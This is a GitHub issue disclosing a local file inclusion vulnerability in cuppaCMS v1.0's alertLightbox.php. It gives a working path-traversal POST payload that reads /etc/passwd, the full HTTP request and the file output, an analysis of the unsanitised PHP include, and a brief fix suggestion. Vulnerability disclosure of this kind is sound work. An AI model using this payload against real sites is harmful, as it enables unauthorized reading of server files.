

New issue

[Jump to bottom](#)

Unauthorized local file inclusion (LFI) vulnerability exists via the url parameter in /alerts/alertLightbox.php #24

Open bkfish opened this issue on Feb 16 · 1 comment

bkfish commented on Feb 16 • edited

Product version:cuppaCMS v1.0 http://cuppacms.com/files/cuppa_cms.zip

poc

```
POST /alerts/alertLightbox.php
url=../../../../../../../../../../../../etc/passwd
```

```
POST /alerts/alertLightbox.php HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://74b5b769-a8c6-3b45-af82-1453eac308dd
Content-Length: 44
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
url=../../../../../../../../../../../../etc/passwd
```

```
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false
lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false
postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false
scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false
ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false
appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false
mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false
appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false
geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false
devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false
sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false
mdnsresponder:*:65:65:mdnsResponder:/var/empty:/usr/bin/false
ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false
www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false
eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false
cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false
svn:*:73:73:SVN Server:/var/empty:/usr/bin/false
mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false
sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false
cyrus:*:77:76:Cyrus Administrator:/var/imap:/usr/bin/false
mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false
appserver:*:79:79:Application Server:/var/empty:/usr/bin/false
clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false
amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false
jabber:*:84:84:jabber XMPP Server:/var/empty:/usr/bin/false
appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false
windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false
spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false
token:*:91:91:Token Daemon:/var/empty:/usr/bin/false
securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false
calendar:*:93:93:Calendar:/var/empty:/usr/bin/false
teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false
update_sharing:*:95:95:Update Sharing:/var/empty:/usr/bin/false
installer:*:96:96:Installer:/var/empty:/usr/bin/false
atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false
ftp:*:98:98:FTP Daemon:/var/empty:/usr/bin/false
```

analysis

location:alerts/alertLightbox.php line 113



```
100 //--
101 //++ init
102 alert_lightbox.init = function(){
103     cuppa.addEventListener("resize", alert_lightbox.resize, window, "alert_lightbox"); alert_lightbox.re
104     }; cuppa.addEventListener("ready", alert_lightbox.init, document, "alert_lightbox");
105 //--
106 </script>
107 <div class="alert_config_field alert_lightbox" id="alert">
108     <div class="alert_config_top">
109         <?php echo @$cuppa->POST("title"); ?>
110         <div class="btnClose_alert" id="btnClose_alert" onclick="alert_lightbox.close()"></div>
111     </div>
112     <div id="content_alert_config" class="content_alert_config">
113         <?php include $cuppa->getDocumentPath().@$cuppa->POST("url"); ?>
114     </div>
115 </div>
```

<?php include \$cuppa->getDocumentPath().@\$cuppa->POST("url");
and \$cuppa->POST

```
// post
public function POST($string){
    return $this->sanitizeString(@$_POST[$string]);
}
```

go on

```
public function sanitizeString($string){
    return htmlspecialchars(trim(@$string));
}
```

so the post url without any lfi protected filter

Repair suggestions

you can check url ,for example check if it has .. then refuse this request

hansmach1ne commented on Feb 16

Check [#15](#). This is a duplicate.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

